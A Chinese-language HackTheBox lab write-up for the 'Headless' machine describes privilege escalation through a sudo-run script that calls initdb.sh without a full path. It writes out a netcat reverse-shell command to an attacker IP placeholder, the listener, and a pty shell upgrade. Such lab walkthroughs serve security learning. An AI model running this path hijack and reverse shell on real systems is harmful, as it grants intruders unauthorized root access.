HTB練習紀錄 — Headless
根據Day 8及Day 11的結論,基本可以確定initdb.sh是必須進行攻擊的文件。
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
如何利用initdb.sh的漏洞?
根據[番外07]可以知道問題出在未指定路徑的initdb.sh身上,接下來簡單將攻擊分成幾個步驟
準備畫面
忘記前置作業,可回去看Day 10
建立initdb.sh
可以注意到目前路徑位置 ~/app
echo "nc -e /bin/sh [your_IP] 1212" > initdb.sh
ls
cat initdb.sh
改變initdb.sh權限
給予initdb.sh執行的權限
chmod +x initdb.sh
接收Reverse Shell
nc -nvlp 1212
sudo /usr/bin/syscheck
施展魔法
python3 -c 'import pty;pty.spawn("/bin/bash")'
參考來源: